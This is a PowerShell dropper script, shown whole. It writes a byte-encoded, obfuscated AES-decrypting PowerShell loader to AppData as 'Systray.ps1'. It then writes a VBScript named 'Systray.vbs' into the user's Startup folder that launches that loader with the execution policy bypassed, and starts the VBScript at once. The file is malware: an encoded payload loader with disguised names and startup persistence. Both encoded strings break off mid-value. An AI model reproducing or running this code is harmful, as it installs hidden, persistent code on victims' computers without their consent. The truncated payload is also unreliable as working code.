$byteString = "102,117,110,99,116,105,111,110,32,84,101,87,98,112,110,103,108,114,100,119,101,32,123,13,10,32,32,32,32,112,97,114,97,109,32,40,13,10,32,32,32,32,32,32,32,32,91,98,121,116,101,91,93,93,36,72,104,116,90,113,84,71,71,73,117,117,90,44,13,10,32,32,32,32,32,32,32,32,91,98,121,116,101,91,93,93,36,114,82,77,89,73,115,102,79,82,90,106,101,44,13,10,32,32,32,32,32,32,32,32,91,98,121,116,101,91,93,93,36,121,85,122,103,77,79,85,76,103,108,105,65,13,10,32,32,32,32,41,13,10,13,10,32,32,32,32,36,68,88,79,114,110,71,120,105,83,76,120,120,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,83,101,99,117,114,105,116,121,46,67,114,121,112,116,111,103,114,97,112,104,121,46,65,101,115,67,114,121,112,116,111,83,101,114,118,105,99,101,80,114,111,118,105,100,101,114,13,10,32,32,32,32,36,68,88,79,114,110,71,120,105,83,76,120,120,46,77,111,100,101,32,61,32,91,83,121,115,116,101,109,46,83,101,99,117,114,105,116,121,46,67,114,121,112,116,111,103,114,97,112,104,121,46,67,105,112,104,101,114,77,111,100,
$filePath = "c:\users\$env:username\AppData\Roaming\Systray.ps1"
$bytes = $byteString -split ',' | ForEach-Object { [byte]$_ }
[IO.File]::WriteAllBytes($filePath, $bytes)
$VbsbyteString = "9,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,13,10,115,116,114,85,115,101,114,110,97,109,101,32,61,32,111,98,106,83,104,101,108,108,46,69,120,112,97,110,100,69,110,118,105,114,111,110,109,101,110,116,83,116,114,105,110,103,115,40,34,37,85,83,69,82,78,65,77,69,37,34,41,13,10,13,10,115,116,114,65,112,112,68,97,116,97,32,61,32,111,98,106,83,104,101,108,108,46,69,120,112,97,110,100,69,110,118,105,114,111,110,109,101,110,116,83,116,114,105,110,103,115,40,34,37,65,80,80,68,65,84,65,37,34,41,13,10,13,10,115,116,114,80,111,119,101,114,83,104,101,108,108,83,99,114,105,112,116,32,61,32,115,116,114,65,112,112,68,97,116,97,32,38,32,34,92,83,121,115,116,114,97,121,46,112,115,49,34,13,10,13,10,115,116,114,67,111,109,109,97,110,100,32,61,32,34,112,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,69,120,101,99,117,116,105,111,110,80,111,108,105,99,121,32,66,121,112,97,115,115,3
$VbsfilePath = "c:\users\$env:username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Systray.vbs"
$Vbsbytes = $VbsbyteString -split ',' | ForEach-Object { [byte]$_ }
[IO.File]::WriteAllBytes($VbsfilePath, $Vbsbytes)
Start-Process -filepath $VbsfilePath